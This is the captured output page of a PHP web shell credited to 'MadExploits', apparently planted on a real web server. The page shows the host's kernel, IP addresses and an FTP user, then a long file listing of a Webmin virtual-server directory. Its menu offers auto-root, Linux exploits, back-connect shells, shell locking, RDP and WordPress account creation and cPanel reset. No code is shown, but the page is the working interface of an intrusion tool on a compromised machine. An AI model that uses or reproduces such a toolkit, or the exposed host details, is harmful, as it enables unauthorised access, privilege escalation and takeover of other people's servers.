Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.136
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtual-server /
[ HOME SHELL ]
Name
Size
Permission
Action
IDNA
[ DIR ]
drwxr-xr-x
PHP
[ DIR ]
drwxr-xr-x
S3
[ DIR ]
drwxr-xr-x
default
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures-all
[ DIR ]
drwxr-xr-x
newfeatures-gpl
[ DIR ]
drwxr-xr-x
newfeatures-pro
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
CHANGELOG
210.34
KB
-rw-r--r--
EC2-IMAGES
870
B
-rw-r--r--
FUNDING.yml
64
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
README.md
3.89
KB
-rw-r--r--
S3.pm
4.19
KB
-rw-r--r--
acl_security.pl
2.41
KB
-rwxr-xr-x
add_script.cgi
2.44
KB
-rwxr-xr-x
admins-lib.pl
1.54
KB
-rwxr-xr-x
all_webmin.cgi
374
B
-rwxr-xr-x
assoc.cgi
1
KB
-rwxr-xr-x
assoc_form.cgi
966
B
-rwxr-xr-x
autoconfig.cgi
2.25
KB
-rwxr-xr-x
backup-domain.pl
15.59
KB
-rwxr-xr-x
backup.cgi
9.73
KB
-rwxr-xr-x
backup.pl
9.09
KB
-rwxr-xr-x
backup_config.pl
1.79
KB
-rwxr-xr-x
backup_form.cgi
12.49
KB
-rwxr-xr-x
backup_sched.cgi
6.37
KB
-rwxr-xr-x
backuplog.cgi
3.06
KB
-rwxr-xr-x
backups-lib.pl
171.86
KB
-rwxr-xr-x
break_cert.cgi
521
B
-rwxr-xr-x
bw-template
411
B
-rw-r--r--
bw.pl
7.18
KB
-rwxr-xr-x
bwgraph.cgi
12.02
KB
-rwxr-xr-x
bwreset.cgi
1.62
KB
-rwxr-xr-x
bwreset_form.cgi
1.43
KB
-rwxr-xr-x
cert_form.cgi
15.57
KB
-rwxr-xr-x
cgi_args.pl
2.08
KB
-rwxr-xr-x
change-licence.pl
6.08
KB
-rwxr-xr-x
change-license.pl
6.08
KB
-rwxr-xr-x
change-password.pl
3.65
KB
-rwxr-xr-x
change_users.cgi
230
B
-rwxr-xr-x
check-config.pl
1.87
KB
-rwxr-xr-x
check-scripts.pl
6.06
KB
-rwxr-xr-x
check.cgi
1.69
KB
-rwxr-xr-x
clam-wrapper.pl
1.29
KB
-rwxr-xr-x
clamdscan-remote-wrapper.pl
629
B
-rwxr-xr-x
clone-domain.pl
4.49
KB
-rwxr-xr-x
clone.cgi
2.67
KB
-rwxr-xr-x
clone_form.cgi
1.96
KB
-rwxr-xr-x
cloud-lib.pl
17.74
KB
-rw-r--r--
collect-lib.pl
21.49
KB
-rwxr-xr-x
collectinfo.pl
1.71
KB
-rwxr-xr-x
commands-lib.pl
8.84
KB
-rwxr-xr-x
config
4.81
KB
-rw-r--r--
config-freebsd
4.72
KB
-rw-r--r--
config-system.pl
3.22
KB
-rwxr-xr-x
config.info
14.23
KB
-rw-r--r--
config.info.cs
9.28
KB
-rw-r--r--
config.info.de
11.34
KB
-rw-r--r--
config.info.es
7.73
KB
-rw-r--r--
config.info.fr
4.6
KB
-rw-r--r--
config.info.nl
11.73
KB
-rw-r--r--
config.info.no
10.96
KB
-rw-r--r--
config.info.pl
551
B
-rw-r--r--
config.info.tr
5.48
KB
-rw-r--r--
config_info.pl
714
B
-rwxr-xr-x
copy-mailbox.pl
2.43
KB
-rwxr-xr-x
copy_cert_all.cgi
826
B
-rwxr-xr-x
copycert-lib.pl
20.83
KB
-rw-r--r--
create-admin.pl
5.28
KB
-rwxr-xr-x
create-alias.pl
3.36
KB
-rwxr-xr-x
create-database.pl
4.12
KB
-rwxr-xr-x
create-domain.pl
32.26
KB
-rwxr-xr-x
create-login-link.pl
3.34
KB
-rwxr-xr-x
create-plan.pl
5.38
KB
-rwxr-xr-x
create-redirect.pl
4.1
KB
-rwxr-xr-x
create-rs-container.pl
1.87
KB
-rwxr-xr-x
create-s3-bucket.pl
1.77
KB
-rwxr-xr-x
create-shared-address.pl
3.33
KB
-rwxr-xr-x
create-simple-alias.pl
5.36
KB
-rwxr-xr-x
create-template.pl
2.56
KB
-rwxr-xr-x
create-user.pl
11.97
KB
-rwxr-xr-x
create_newmysql.cgi
1.31
KB
-rwxr-xr-x
createvirtualminmodule.sh
1.39
KB
-rwxr-xr-x
cron-lib.pl
6.33
KB
-rw-r--r--
cron_chooser.cgi
722
B
-rwxr-xr-x
cron_select.cgi
641
B
-rwxr-xr-x
csr.cgi
5.2
KB
-rwxr-xr-x
defaultacl
118
B
-rw-r--r--
delete-admin.pl
1.79
KB
-rwxr-xr-x
delete-alias.pl
2.36
KB
-rwxr-xr-x
delete-backup.pl
1.78
KB
-rwxr-xr-x
delete-database.pl
2.24
KB
-rwxr-xr-x
delete-domain.pl
3
KB
-rwxr-xr-x
delete-php-directory.pl
1.86
KB
-rwxr-xr-x
delete-plan.pl
1.75
KB
-rwxr-xr-x
delete-redirect.pl
1.93
KB
-rwxr-xr-x
delete-rs-container.pl
2.08
KB
-rwxr-xr-x
delete-rs-file.pl
2.08
KB
-rwxr-xr-x
delete-s3-bucket.pl
1.9
KB
-rwxr-xr-x
delete-s3-file.pl
1.94
KB
-rwxr-xr-x
delete-script.pl
4.39
KB
-rwxr-xr-x
delete-shared-address.pl
2.18
KB
-rwxr-xr-x
delete-template.pl
1.81
KB
-rwxr-xr-x
delete-user.pl
2.75
KB
-rwxr-xr-x
delete_admins.cgi
704
B
-rwxr-xr-x
delete_aliases.cgi
871
B
-rwxr-xr-x
delete_backup.cgi
1.24
KB
-rwxr-xr-x
delete_databases.cgi
2.33
KB
-rwxr-xr-x
delete_domain.cgi
3.33
KB
-rwxr-xr-x
delete_newmysqls.cgi
1.6
KB
-rwxr-xr-x
delete_plans.cgi
698
B
-rwxr-xr-x
delete_postgrey.cgi
722
B
-rwxr-xr-x
delete_records.cgi
1.36
KB
-rwxr-xr-x
delete_redirects.cgi
822
B
-rwxr-xr-x
delete_scheds.cgi
1.06
KB
-rwxr-xr-x
delete_tmpls.cgi
1.15
KB
-rwxr-xr-x
delete_users.cgi
3.25
KB
-rwxr-xr-x
disable-domain.pl
2.45
KB
-rwxr-xr-x
disable-feature.pl
4.64
KB
-rwxr-xr-x
disable-limit.pl
3.64
KB
-rwxr-xr-x
disable-writelogs.pl
2.2
KB
-rwxr-xr-x
disable_clamd.cgi
543
B
-rwxr-xr-x
disable_domain.cgi
2.36
KB
-rwxr-xr-x
disable_mod_php.cgi
2.76
KB
-rwxr-xr-x
disable_postgrey.cgi
428
B
-rwxr-xr-x
disable_scripts.cgi
649
B
-rwxr-xr-x
disable_spamd.cgi
539
B
-rwxr-xr-x
disconnect-database.pl
2.43
KB
-rwxr-xr-x
dkim-lib.pl
38.03
KB
-rw-r--r--
dkim.cgi
3.55
KB
-rwxr-xr-x
dnscloud-lib.pl
11.45
KB
-rw-r--r--
dnsclouds.cgi
1.28
KB
-rwxr-xr-x
domain-template
1.46
KB
-rw-r--r--
domain_form.cgi
22.15
KB
-rwxr-xr-x
domain_setup.cgi
15.96
KB
-rwxr-xr-x
domainname-lib.pl
3.43
KB
-rwxr-xr-x
downgrade-licence.pl
5.79
KB
-rwxr-xr-x
downgrade-license.pl
5.79
KB
-rwxr-xr-x
download-dropbox-file.pl
1.59
KB
-rwxr-xr-x
download-rs-file.pl
2.45
KB
-rwxr-xr-x
download-s3-file.pl
2.25
KB
-rwxr-xr-x
download_backup.cgi
1.15
KB
-rw-r--r--
download_cert.cgi
647
B
-rwxr-xr-x
download_key.cgi
638
B
-rwxr-xr-x
dynip-lib.pl
4.64
KB
-rwxr-xr-x
dynip.pl
2.49
KB
-rwxr-xr-x
edit_2fa.cgi
1.41
KB
-rwxr-xr-x
edit_admin.cgi
4.26
KB
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
3.73
KB
-rwxr-xr-x
edit_bucket.cgi
4.87
KB
-rwxr-xr-x
edit_cloud.cgi
2.33
KB
-rwxr-xr-x
edit_database.cgi
3.83
KB
-rwxr-xr-x
edit_defaults.cgi
2.79
KB
-rwxr-xr-x
edit_dnscloud.cgi
2.1
KB
-rwxr-xr-x
edit_domain.cgi
12.4
KB
-rwxr-xr-x
edit_domdkim.cgi
2.19
KB
-rwxr-xr-x
edit_exclude.cgi
1.08
KB
-rwxr-xr-x
edit_ffile.cgi
2.16
KB
-rwxr-xr-x
edit_limits.cgi
7.49
KB
-rwxr-xr-x
edit_link.cgi
2.65
KB
-rwxr-xr-x
edit_mail.cgi
3.11
KB
-rwxr-xr-x
edit_mailusers.cgi
1.76
KB
-rwxr-xr-x
edit_newautoconfig.cgi
670
B
-rwxr-xr-x
edit_newbw.cgi
6.32
KB
-rwxr-xr-x
edit_newchangelog.cgi
573
B
-rwxr-xr-x
edit_newchroot.cgi
1.77
KB
-rwxr-xr-x
edit_newdynip.cgi
2.19
KB
-rwxr-xr-x
edit_newfeatures.cgi
3.86
KB
-rwxr-xr-x
edit_newfields.cgi
1.25
KB
-rwxr-xr-x
edit_newglobal.cgi
1002
B
-rwxr-xr-x
edit_newips.cgi
2.01
KB
-rwxr-xr-x
edit_newlinks.cgi
2.33
KB
-rwxr-xr-x
edit_newmxs.cgi
1.19
KB
-rwxr-xr-x
edit_newmysqls.cgi
2.48
KB
-rwxr-xr-x
edit_newnotify.cgi
1.56
KB
-rwxr-xr-x
edit_newplan.cgi
2.14
KB
-rwxr-xr-x
edit_newquotacheck.cgi
1.12
KB
-rwxr-xr-x
edit_newquotas.cgi
1.95
KB
-rwxr-xr-x
edit_newretention.cgi
1.44
KB
-rwxr-xr-x
edit_newscripts.cgi
10.62
KB
-rwxr-xr-x
edit_newsharedips.cgi
1.61
KB
-rwxr-xr-x
edit_newshells.cgi
2.04
KB
-rwxr-xr-x
edit_newsv.cgi
4.67
KB
-rwxr-xr-x
edit_newtmpl.cgi
1.95
KB
-rwxr-xr-x
edit_newupgrade.cgi
869
B
-rwxr-xr-x
edit_newvalidate.cgi
5.38
KB
-rwxr-xr-x
edit_pass.cgi
1.2
KB
-rwxr-xr-x
edit_phpmode.cgi
8.28
KB
-rw-r--r--
edit_plan.cgi
7.82
KB
-rwxr-xr-x
edit_plugconfig.cgi
1.21
KB
-rwxr-xr-x
edit_postgrey.cgi
1.31
KB
-rwxr-xr-x
edit_record.cgi
5.69
KB
-rwxr-xr-x
edit_redirect.cgi
2.65
KB
-rwxr-xr-x
edit_rfile.cgi
2.13
KB
-rwxr-xr-x
edit_script.cgi
4.95
KB
-rwxr-xr-x
edit_spam.cgi
3.26
KB
-rwxr-xr-x
edit_spf.cgi
3.78
KB
-rwxr-xr-x
edit_tmpl.cgi
4.7
KB
-rwxr-xr-x
edit_user.cgi
16.73
KB
-rwxr-xr-x
edit_vfile.cgi
2.79
KB
-rwxr-xr-x
edit_website.cgi
4.62
KB
-rwxr-xr-x
enable-domain.pl
2.02
KB
-rwxr-xr-x
enable-feature.pl
5.32
KB
-rwxr-xr-x
enable-limit.pl
3.6
KB
-rwxr-xr-x
enable-writelogs.pl
2.57
KB
-rwxr-xr-x
enable_clamd.cgi
520
B
-rwxr-xr-x
enable_dkim.cgi
1.57
KB
-rwxr-xr-x
enable_domain.cgi
2.05
KB
-rwxr-xr-x
enable_postgrey.cgi
425
B
-rwxr-xr-x
enable_spamd.cgi
521
B
-rwxr-xr-x
expframe_form.cgi
798
B
-rwxr-xr-x
feature-dir.pl
32.37
KB
-rwxr-xr-x
feature-dns.pl
143.74
KB
-rwxr-xr-x
feature-ftp.pl
18.18
KB
-rwxr-xr-x
feature-logrotate.pl
17.37
KB
-rwxr-xr-x
feature-mail.pl
191.23
KB
-rwxr-xr-x
feature-mysql.pl
102.19
KB
-rwxr-xr-x
feature-postgres.pl
32.16
KB
-rwxr-xr-x
feature-spam.pl
49.28
KB
-rwxr-xr-x
feature-ssl.pl
93.96
KB
-rwxr-xr-x
feature-status.pl
10.7
KB
-rwxr-xr-x
feature-unix.pl
37.38
KB
-rwxr-xr-x
feature-virt.pl
14.13
KB
-rwxr-xr-x
feature-virt6.pl
13.73
KB
-rwxr-xr-x
feature-virus.pl
24
KB
-rwxr-xr-x
feature-web.pl
152.92
KB
-rwxr-xr-x
feature-webalizer.pl
19.4
KB
-rwxr-xr-x
feature-webmin.pl
39.81
KB
-rwxr-xr-x
fetch-script-files.pl
2.61
KB
-rwxr-xr-x
fix-domain-permissions.pl
2.39
KB
-rwxr-xr-x
fix-domain-quota.pl
2.21
KB
-rwxr-xr-x
fix_symlinks.cgi
2.47
KB
-rwxr-xr-x
fixperms.cgi
1.07
KB
-rwxr-xr-x
fixttl.cgi
1.18
KB
-rwxr-xr-x
fixvirtualminrepos.sh
43.58
KB
-rw-r--r--
frame_form.cgi
1.36
KB
-rwxr-xr-x
framefwd-template
639
B
-rw-r--r--
ftp-lib.pl
8.43
KB
-rw-r--r--
generate-cert.pl
7.58
KB
-rwxr-xr-x
generate-letsencrypt-cert.pl
6.86
KB
-rwxr-xr-x
generate-script-sites.pl
1.38
KB
-rwxr-xr-x
get-command.pl
3.73
KB
-rwxr-xr-x
get-dns.pl
4.23
KB
-rwxr-xr-x
get-logs.pl
2.26
KB
-rwxr-xr-x
get-ssl.pl
2.07
KB
-rwxr-xr-x
get-template.pl
2.58
KB
-rwxr-xr-x
import-database.pl
2.94
KB
-rwxr-xr-x
import.cgi
18.24
KB
-rwxr-xr-x
import_database.cgi
1.18
KB
-rwxr-xr-x
import_form.cgi
3.76
KB
-rwxr-xr-x
index.cgi
10.14
KB
-rwxr-xr-x
info.pl
3.36
KB
-rwxr-xr-x
install-cert.pl
8.31
KB
-rwxr-xr-x
install-script.pl
14.06
KB
-rwxr-xr-x
install-service-cert.pl
3.77
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
install_awscli.cgi
576
B
-rwxr-xr-x
install_dkim.cgi
442
B
-rwxr-xr-x
install_postgrey.cgi
471
B
-rwxr-xr-x
install_ratelimit.cgi
1.54
KB
-rwxr-xr-x
jailkit-lib.pl
9.32
KB
-rw-r--r--
json-lib.pl
6.43
KB
-rwxr-xr-x
kill_running.cgi
702
B
-rwxr-xr-x
latest-scripts-key.asc
1.75
KB
-rw-r--r--
lets-encrypt-x3-cross-signed.p...
1.61
KB
-rw-r--r--
letsencrypt.cgi
5.22
KB
-rwxr-xr-x
licence-info.pl
1.54
KB
-rwxr-xr-x
licence.cgi
1.68
KB
-rwxr-xr-x
licence.pl
337
B
-rwxr-xr-x
license-info.pl
1.54
KB
-rwxr-xr-x
license.pl
337
B
-rwxr-xr-x
link.cgi
7.54
KB
-rwxr-xr-x
list-admins.pl
2.93
KB
-rwxr-xr-x
list-aliases.pl
3.72
KB
-rwxr-xr-x
list-available-scripts.pl
3.59
KB
-rwxr-xr-x
list-available-shells.pl
2.84
KB
-rwxr-xr-x
list-backup-keys.pl
1.89
KB
-rwxr-xr-x
list-backup-logs.pl
6
KB
-rwxr-xr-x
list-bandwidth.pl
3.53
KB
-rwxr-xr-x
list-certs-expiry.pl
5.68
KB
-rwxr-xr-x
list-certs.pl
2.79
KB
-rwxr-xr-x
list-commands.pl
3.04
KB
-rwxr-xr-x
list-custom.pl
2.65
KB
-rwxr-xr-x
list-databases.pl
3.45
KB
-rwxr-xr-x
list-domains.pl
28.3
KB
-rwxr-xr-x
list-dropbox-files.pl
2.8
KB
-rwxr-xr-x
list-features.pl
3.48
KB
-rwxr-xr-x
list-gcs-buckets.pl
2.41
KB
-rwxr-xr-x
list-gcs-files.pl
2.37
KB
-rwxr-xr-x
list-mailbox.pl
2.96
KB
-rwxr-xr-x
list-mysql-servers.pl
2.07
KB
-rwxr-xr-x
list-php-directories.pl
2.6
KB
-rwxr-xr-x
list-php-ini.pl
3.07
KB
-rwxr-xr-x
list-php-versions.pl
2.62
KB
-rwxr-xr-x
list-plans.pl
4.05
KB
-rwxr-xr-x
list-redirects.pl
2.69
KB
-rwxr-xr-x
list-rs-containers.pl
2.92
KB
-rwxr-xr-x
list-rs-files.pl
3.14
KB
-rwxr-xr-x
list-s3-buckets.pl
3.92
KB
-rwxr-xr-x
list-s3-files.pl
2.88
KB
-rwxr-xr-x
list-scheduled-backups.pl
5.09
KB
-rwxr-xr-x
list-scripts.pl
4.92
KB
-rwxr-xr-x
list-server-statuses.pl
1.54
KB
-rwxr-xr-x
list-service-certs.pl
2.31
KB
-rwxr-xr-x
list-shared-addresses.pl
2.57
KB
-rwxr-xr-x
list-simple-aliases.pl
3.35
KB
-rwxr-xr-x
list-templates.pl
2.2
KB
-rwxr-xr-x
list-users.pl
9.88
KB
-rwxr-xr-x
list_admins.cgi
1.57
KB
-rwxr-xr-x
list_aliases.cgi
3.24
KB
-rwxr-xr-x
list_buckets.cgi
1.61
KB
-rwxr-xr-x
list_clouds.cgi
1.03
KB
-rwxr-xr-x
list_databases.cgi
9.24
KB
-rwxr-xr-x
list_records.cgi
4.2
KB
-rwxr-xr-x
list_redirects.cgi
1.52
KB
-rwxr-xr-x
list_running.cgi
1.6
KB
-rwxr-xr-x
list_sched.cgi
2.75
KB
-rwxr-xr-x
list_scripts.cgi
7.05
KB
-rwxr-xr-x
list_users.cgi
2.75
KB
-rwxr-xr-x
log_parser.pl
5.62
KB
-rwxr-xr-x
lookup-domain-daemon.pl
5.58
KB
-rwxr-xr-x
lookup-domain.pl
5.61
KB
-rwxr-xr-x
mailclient.cgi
2.53
KB
-rwxr-xr-x
maillog.pl
348
B
-rwxr-xr-x
mailusers.cgi
1.44
KB
-rwxr-xr-x
manual_records.cgi
1.21
KB
-rwxr-xr-x
manual_records_save.cgi
1.62
KB
-rwxr-xr-x
mass_aedit.cgi
4.37
KB
-rwxr-xr-x
mass_aedit_form.cgi
1.69
KB
-rwxr-xr-x
mass_change.cgi
5.5
KB
-rwxr-xr-x
mass_create.cgi
10.71
KB
-rwxr-xr-x
mass_create_form.cgi
3.64
KB
-rwxr-xr-x
mass_form.cgi
2.06
KB
-rwxr-xr-x
mass_scripts.cgi
4.62
KB
-rwxr-xr-x
mass_ucreate.cgi
8.07
KB
-rwxr-xr-x
mass_ucreate_form.cgi
1.76
KB
-rwxr-xr-x
mass_uninstall.cgi
2.81
KB
-rwxr-xr-x
mass_upgrade.cgi
4.13
KB
-rwxr-xr-x
migrate-domain.pl
10.18
KB
-rwxr-xr-x
migrate.cgi
4.21
KB
-rwxr-xr-x
migrate_form.cgi
2.68
KB
-rwxr-xr-x
migration-cpanel.pl
48.22
KB
-rwxr-xr-x
migration-directadmin.pl
19.92
KB
-rwxr-xr-x
migration-ensim.pl
21.02
KB
-rwxr-xr-x
migration-lxadmin.pl
16.11
KB
-rwxr-xr-x
migration-plesk.pl
34.62
KB
-rwxr-xr-x
migration-plesk9.pl
31.77
KB
-rwxr-xr-x
migration-psa.pl
21.55
KB
-rwxr-xr-x
modify-admin.pl
6.72
KB
-rwxr-xr-x
modify-all-ips.pl
3.18
KB
-rwxr-xr-x
modify-custom.pl
2.81
KB
-rwxr-xr-x
modify-database-hosts.pl
3.94
KB
-rwxr-xr-x
modify-database-pass.pl
2.97
KB
-rwxr-xr-x
modify-database-user.pl
3.15
KB
-rwxr-xr-x
modify-dns.pl
21.94
KB
-rwxr-xr-x
modify-domain.pl
28.85
KB
-rwxr-xr-x
modify-limits.pl
10.91
KB
-rwxr-xr-x
modify-mail.pl
13.6
KB
-rwxr-xr-x
modify-php-ini.pl
5.11
KB
-rwxr-xr-x
modify-plan.pl
6.68
KB
-rwxr-xr-x
modify-spam.pl
9.9
KB
-rwxr-xr-x
modify-template.pl
3.33
KB
-rwxr-xr-x
modify-user.pl
19.19
KB
-rwxr-xr-x
modify-web.pl
29.91
KB
-rwxr-xr-x
module.info
241
B
-rw-r--r--
module.info.cs
39
B
-rw-r--r--
module.info.de
36
B
-rw-r--r--
module.info.es.auto
43
B
-rw-r--r--
module.info.fr
37
B
-rw-r--r--
module.info.it.auto
35
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.nl
36
B
-rw-r--r--
module.info.no
37
B
-rw-r--r--
module.info.pl
37
B
-rw-r--r--
module.info.pt_BR.auto
42
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.tr
37
B
-rw-r--r--
module.info.tr.auto
37
B
-rw-r--r--
module.info.zh.auto
34
B
-rw-r--r--
module.info.zh_TW.auto
37
B
-rw-r--r--
move-domain.pl
4.58
KB
-rwxr-xr-x
move.cgi
2.48
KB
-rwxr-xr-x
move_form.cgi
1.84
KB
-rwxr-xr-x
move_newlinks.cgi
439
B
-rwxr-xr-x
newchain.cgi
2.59
KB
-rwxr-xr-x
newfeatures-lib.pl
7.87
KB
-rwxr-xr-x
newip_form.cgi
5.38
KB
-rwxr-xr-x
newkey.cgi
5.56
KB
-rwxr-xr-x
notify-domains.pl
5.01
KB
-rwxr-xr-x
notify.cgi
1.69
KB
-rwxr-xr-x
oauth.cgi
1.94
KB
-rwxr-xr-x
peripcerts.cgi
1.07
KB
-rwxr-xr-x
php-lib.pl
78.99
KB
-rwxr-xr-x
plans-lib.pl
9.45
KB
-rwxr-xr-x
ports-lib.pl
4.84
KB
-rw-r--r--
postgres-encodings
1.79
KB
-rw-r--r--
postgrey-lib.pl
11.65
KB
-rwxr-xr-x
postgrey.cgi
2.41
KB
-rwxr-xr-x
postinstall.pl
17.58
KB
-rwxr-xr-x
postsave.cgi
1.31
KB
-rwxr-xr-x
prefs.info
133
B
-rw-r--r--
pro-tip-lib.pl
11.54
KB
-rwxr-xr-x
procmail-logger.pl
934
B
-rwxr-xr-x
procmail-wrapper
8.66
KB
-rwxr-xr-x
procmail-wrapper.c
593
B
-rw-r--r--
provision-lib.pl
2.94
KB
-rw-r--r--
provision.cgi
1.54
KB
-rwxr-xr-x
proxy_form.cgi
803
B
-rwxr-xr-x
public_suffix_list.dat
239.33
KB
-rw-r--r--
quotacheck.cgi
1.05
KB
-rwxr-xr-x
quotas.pl
7.29
KB
-rwxr-xr-x
ratelimit-lib.pl
16.14
KB
-rw-r--r--
ratelimit.cgi
2.83
KB
-rwxr-xr-x
recollect.cgi
630
B
-rwxr-xr-x
recollect_whois.cgi
598
B
-rwxr-xr-x
recovery.cgi
2.22
KB
-rwxr-xr-x
redirects-lib.pl
9.16
KB
-rw-r--r--
reemail.cgi
804
B
-rwxr-xr-x
remote.cgi
3.44
KB
-rwxr-xr-x
remove_cert.cgi
1.44
KB
-rwxr-xr-x
rename-domain.pl
2.79
KB
-rwxr-xr-x
rename.cgi
1.8
KB
-rwxr-xr-x
rename_form.cgi
2.84
KB
-rwxr-xr-x
reseller-template
242
B
-rw-r--r--
resend-email.pl
1.43
KB
-rwxr-xr-x
reset-feature.pl
5.47
KB
-rwxr-xr-x
reset_features.cgi
2.89
KB
-rwxr-xr-x
restart_feature.cgi
1.26
KB
-rwxr-xr-x
restart_script.cgi
1.36
KB
-rwxr-xr-x
restore-domain.pl
16.65
KB
-rwxr-xr-x
restore.cgi
10.66
KB
-rwxr-xr-x
restore_form.cgi
5.72
KB
-rwxr-xr-x
rs-lib.pl
11.23
KB
-rw-r--r--
run-all-webalizer.pl
1.35
KB
-rwxr-xr-x
run-api-command.pl
8.23
KB
-rwxr-xr-x
s3-lib.pl
30.71
KB
-rwxr-xr-x
save_2fa.cgi
3.06
KB
-rwxr-xr-x
save_admin.cgi
2.93
KB
-rwxr-xr-x
save_afile.cgi
738
B
-rwxr-xr-x
save_alias.cgi
3.03
KB
-rwxr-xr-x
save_bucket.cgi
5.6
KB
-rwxr-xr-x
save_cloud.cgi
1
KB
-rwxr-xr-x
save_database.cgi
4.16
KB
-rwxr-xr-x
save_dbhosts.cgi
1.24
KB
-rwxr-xr-x
save_dbname.cgi
1.79
KB
-rwxr-xr-x
save_dbpass.cgi
1.44
KB
-rwxr-xr-x
save_defaults.cgi
2.27
KB
-rwxr-xr-x
save_defplan.cgi
560
B
-rwxr-xr-x
save_dnscloud.cgi
1.04
KB
-rwxr-xr-x
save_domain.cgi
9.88
KB
-rwxr-xr-x
save_domdkim.cgi
910
B
-rwxr-xr-x
save_exclude.cgi
899
B
-rwxr-xr-x
save_expframe.cgi
613
B
-rwxr-xr-x
save_ffile.cgi
1.04
KB
-rwxr-xr-x
save_frame.cgi
1.63
KB
-rwxr-xr-x
save_limits.cgi
3.75
KB
-rwxr-xr-x
save_link.cgi
1.08
KB
-rwxr-xr-x
save_linkcats.cgi
635
B
-rwxr-xr-x
save_mail.cgi
4.86
KB
-rwxr-xr-x
save_mysqlremote.cgi
1.09
KB
-rwxr-xr-x
save_newautoconfig.cgi
1.18
KB
-rwxr-xr-x
save_newbw.cgi
3.01
KB
-rwxr-xr-x
save_newchroot.cgi
1.5
KB
-rwxr-xr-x
save_newdynip.cgi
1.64
KB
-rwxr-xr-x
save_newfeatures.cgi
3.05
KB
-rwxr-xr-x
save_newfields.cgi
808
B
-rwxr-xr-x
save_newglobal.cgi
728
B
-rwxr-xr-x
save_newip.cgi
9.77
KB
-rwxr-xr-x
save_newips.cgi
3.89
KB
-rwxr-xr-x
save_newmxs.cgi
3.86
KB
-rwxr-xr-x
save_newquotas.cgi
1.75
KB
-rwxr-xr-x
save_newretention.cgi
1.03
KB
-rwxr-xr-x
save_newsharedips.cgi
2.46
KB
-rwxr-xr-x
save_newshells.cgi
1.77
KB
-rwxr-xr-x
save_newsv.cgi
3.72
KB
-rwxr-xr-x
save_pass.cgi
3.21
KB
-rwxr-xr-x
save_phpmode.cgi
6.27
KB
-rw-r--r--
save_plan.cgi
3.75
KB
-rwxr-xr-x
save_plugconfig.cgi
988
B
-rwxr-xr-x
save_postgrey.cgi
1.19
KB
-rwxr-xr-x
save_provision.cgi
5.32
KB
-rwxr-xr-x
save_proxy.cgi
1.47
KB
-rwxr-xr-x
save_ratelimit.cgi
4.85
KB
-rwxr-xr-x
save_record.cgi
4.31
KB
-rwxr-xr-x
save_redirect.cgi
2.76
KB
-rwxr-xr-x
save_rfile.cgi
1.04
KB
-rwxr-xr-x
save_scriptallow.cgi
384
B
-rwxr-xr-x
save_scriptlatest.cgi
926
B
-rwxr-xr-x
save_scriptwarn.cgi
1.35
KB
-rwxr-xr-x
save_spam.cgi
2.74
KB
-rwxr-xr-x
save_spf.cgi
3.63
KB
-rwxr-xr-x
save_tmpl.cgi
3.54
KB
-rwxr-xr-x
save_user.cgi
20.06
KB
-rwxr-xr-x
save_validate.cgi
1.69
KB
-rwxr-xr-x
save_vfile.cgi
1.72
KB
-rwxr-xr-x
save_website.cgi
6.41
KB
-rwxr-xr-x
script_form.cgi
5.87
KB
-rwxr-xr-x
script_install.cgi
6.83
KB
-rwxr-xr-x
scriptlatest.pl
5.42
KB
-rwxr-xr-x
scripts-lib.pl
103.4
KB
-rwxr-xr-x
scriptwarn.pl
3.91
KB
-rwxr-xr-x
search.cgi
2.18
KB
-rwxr-xr-x
security-lib.pl
19.54
KB
-rwxr-xr-x
seen_newfeatures.cgi
349
B
-rwxr-xr-x
set-dkim.pl
3.67
KB
-rwxr-xr-x
set-global-feature.pl
5.66
KB
-rwxr-xr-x
set-mysql-pass.pl
2.01
KB
-rwxr-xr-x
set-php-directory.pl
2.87
KB
-rwxr-xr-x
set-spam.pl
7.9
KB
-rwxr-xr-x
set_seen_pro_tip.cgi
243
B
-rwxr-xr-x
setup-repos.pl
3.06
KB
-rwxr-xr-x
showpass.cgi
1.45
KB
-rwxr-xr-x
showphpinfo.cgi
1.02
KB
-rwxr-xr-x
sign-script-installers.pl
4.15
KB
-rwxr-xr-x
simple-lib.pl
17.77
KB
-rwxr-xr-x
spamclear.pl
8.11
KB
-rwxr-xr-x
spamconfig.pl
1.15
KB
-rwxr-xr-x
spamtrap.pl
8.42
KB
-rwxr-xr-x
start-stop-script.pl
3.96
KB
-rwxr-xr-x
start_feature.cgi
983
B
-rwxr-xr-x
start_script.cgi
1.15
KB
-rwxr-xr-x
stats-lib.pl
3.26
KB
-rw-r--r--
stop_feature.cgi
975
B
-rwxr-xr-x
stop_script.cgi
1.04
KB
-rwxr-xr-x
subdomain-template
1.04
KB
-rw-r--r--
summary_domain.cgi
7.06
KB
-rwxr-xr-x
switch_theme.cgi
1.28
KB
-rwxr-xr-x
switch_user.cgi
1.17
KB
-rwxr-xr-x
syncmx-domain.pl
2.22
KB
-rwxr-xr-x
system_info.pl
20.96
KB
-rw-r--r--
test-imap.pl
2.64
KB
-rwxr-xr-x
test-pop3.pl
2.19
KB
-rwxr-xr-x
test-smtp.pl
6.29
KB
-rwxr-xr-x
transfer-domain.pl
4.47
KB
-rwxr-xr-x
transfer.cgi
1.96
KB
-rwxr-xr-x
transfer_form.cgi
3.31
KB
-rwxr-xr-x
unalias-domain.pl
1.9
KB
-rwxr-xr-x
unalias.cgi
1.18
KB
-rwxr-xr-x
uninstall.pl
616
B
-rwxr-xr-x
unscript_install.cgi
3.12
KB
-rwxr-xr-x
unsub-domain.pl
1.93
KB
-rwxr-xr-x
unsub.cgi
1.05
KB
-rwxr-xr-x
update-template
416
B
